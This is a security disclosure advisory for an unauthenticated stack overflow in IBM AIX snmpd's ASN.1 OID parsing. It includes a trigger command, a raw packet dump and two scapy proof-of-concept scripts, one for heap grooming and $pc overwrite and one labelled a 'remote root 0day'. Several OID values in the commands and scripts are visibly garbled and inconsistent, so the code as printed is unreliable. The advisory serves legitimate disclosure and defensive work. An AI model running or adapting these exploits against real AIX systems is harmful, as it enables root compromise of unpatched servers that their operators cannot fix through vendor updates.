SSD Advisory – IBM AIX snmpd ASN.1 OID parsing stack overflow
Find out how a vulnerability in IBM AIX’s snmpd service allows an unauthenticated attacker to trigger a stack overflow and potentially run arbitrary code on the server with root privileges.
IBM AIX (Advanced Interactive eXecutive) is a series of proprietary Unix operating systems developed and sold by IBM for several of its computer platforms. Originally released for the IBM RT PC RISC workstation, AIX now supports or has supported a wide variety of hardware platforms, including the IBM RS/6000 series and later POWER and PowerPC-based systems, AS400 hardware (which runs the OS IBM iSeries aka IBM System i), System/370 mainframes, PS/2 personal computers, and the Apple Network Server.
A vulnerability in AIX’s snmpd service allow unauthenticated attackers to trigger a stack overflow in the service and potentially cause it to execute arbitrary code with root privileges.
Independent security researcher, Hacker Fantastic ( hackerfantastic ), has reported this vulnerability to the SSD Secure Disclosure program.
IBM AIX 5.3 and prior
IBM AIX 6.0 is suspected as being vulnerable
NOTE: IBM AIX 7.0 and prior are considered End of Life and are no longer supported, that said, they are still very much present and being in use in large companies – and thus we urge system administrators using this OS to contact IBM for a solution
As the product is not currently supported, we had no way to get a patch or vendor respond for this vulnerability.
Many of our partners consist of institutional corporations working with AIX hardware. Firms not upgraded to the latest version where this exploit still exists, may be put in high risk, which is why we chose to disclose and pay or this vulnerability, even though no response was received from the vendor.
The IBM AIX snmpmibd service is vulnerable to a stack-based buffer overflow when handling large OID values with SNMP GETNEXT PDU requests.
An attacker can request an OID beginning with 126.96.36.199.188.8.131.52 which will be expanded from the ASN.1 decoder into a fixed-size stack buffer, resulting in stack frame corruption and control of the $pc (program control register).
The issue can be triggered using standard system utilities such as with the
snmpgetnext -d -cpublic -v1 192.168.11.133 184.108.40.206.220.127.116.11.1.1.2147483651.2147483651.2147483651.2147483651.2147483651.2147483651.2147483651.2147483651.1234.4321.994321
The above request will set the remote target $pc to the value 0x34333230. This introduces a limitation of the attack vector, as OID values can only contain the characters 0-9 & . – an attacker must make the application
return into a memory page that uses these values. On AIX the heap for a
user space application mapping begins within 0x20000000 and can be mapped as high as 0x2FFFFFFF which can be tested trivially with a malloc() loop.
This allows for remote exploitation if an attacker sends packets which
allocate bytes on the heap containing attacker encoded ASN.1 data.
We have included a simple PoC which can be used to groom the heap using an SNMP request which will decode the ASN.1 packet contents onto the heap without calling free().
The lowest possible mapping page an attacker can return into with the stack corruption is 0x2e300040. By sending a large number of initial SNMP requests, the attacker can perform heap feng shui to place attacker controlled code into a page mapping that can be reached using the $pc overwrite.
We have included two proof-of-concepts with this advisory, the first is a PoC trigger that will set the $pc to the value 0x34333230 using scapy.
The second is a simple example of how heap feng shui is possible using a different SNMP request to expand the heap with approximately 128 bytes per SNMP packet request.
However, if the snmpmibd process maps beyond the 0x2Fxxxxxx boundary, the application will crash with an out-of-memory error which makes exploitation of this issue particularly difficult. An attacker must groom the heap to contain their user code before sending the $pc overwrite.
An additional raw packet is included which sets the lowest
possible return address for the snmpmibd stack overflow of 0x2e300040.pkt
0000: 30 58 02 01 00 04 06 70 75 62 6C 69 63 A1 4B 02 0X.....public.K. 0016: 04 0E 84 9A 98 02 01 00 02 01 00 30 3D 30 3B 06 ...........0=0;. 0032: 37 2B 06 01 02 01 04 0F 01 01 88 80 80 80 03 88 7+.............. 0048: 80 80 80 03 88 80 80 80 03 88 80 80 80 03 88 80 ................ 0064: 80 80 03 88 80 80 80 03 88 80 80 80 03 88 80 80 ................ 0080: 80 03 89 52 A1 61 5B 00 05 00 ...R.a[...
#!/usr/bin/env python from scapy.all import * # we send 1865915 packets to groom 128 byte heap allocations # until we map the page 0x2exxxxxx - this is just below the heap # maximum limit. god speed little PoC, god speed. hitting 0x2f # allocations will cause a DoS condition making the groom tricky if __name__ == "__main__": heapaddr = 0x2003D0B8 # heap allocations begin here test = False while test == False: print("heap spray address %x" % heapaddr) heapaddr = heapaddr + (0x80*1000) # 128 bytes leaked per packet below, groom with 1000 at a time send(IP(dst="192.168.11.133")/UDP()/SNMP(version=0, PDU=SNMPnext(id=1024284702,varbindlist=[SNMPvarbind(oid="18.104.22.168.22.214.171.124.1.22.3")])),count=1000) if(heapaddr >= 0x2e310000): print("we are inside the return zone 0x%x" % heapaddr) test = True print("setting our $pc to 0x2e302e30") send(IP(dst="192.168.11.133")/UDP()/SNMP(version=0, PDU=SNMPnext(id=1024284702,varbindlist=[SNMPvarbind(oid="126.96.36.199.188.8.131.52.1.1.214748 3651.2147483651.2147483651.2147483651.2147483651.2147483651.2147483651.2147 483651.1234.43184.108.40.206",value="A"*255)]))) print("congratulations, you win a core dump")
#!/usr/bin/env python from scapy.all import * import asn1 import sys import os packet =b"\x30\x59\x02\x01\x00\x04\x06\x70\x75\x62\x6C\x69\x63" packet+=b"\xA1\x4C\x02\x04\x67\xC3\xB3\x73\x02\x01\x00\x02\x01" packet+=b"\x00\x30\x3E\x30\x3C" asn1pkt =b"\x06\x38\x2B\x06\x01\x02\x01\x04\x0F\x01\x01\x88\x80\x80\x80\x03" asn1pkt+=b"\x88\x80\x80\x80\x03\x88\x80\x80\x80\x03\x88\x80\x80\x80\x03\x88" asn1pkt+=b"\x80\x80\x80\x03\x88\x80\x80\x80\x03\x88\x80\x80\x80\x03\x88\x80" asn1pkt+=b"\x80\x80\x03\x89\x52\xA1\x61\xBC\xD8\x11\x05\x00" if __name__ == "__main__": print("[ AIX 5.3L remote root 0day"); encoder = asn1.Encoder() decoder = asn1.Decoder() decoder.start(asn1pkt) tag, value = decoder.read() print(value) pkt = IP(dst='192.168.11.133')/UDP(dport=161)/Raw(load=packet)/Raw(load=asn1pkt) hexdump(pkt) send(pkt) print("done.")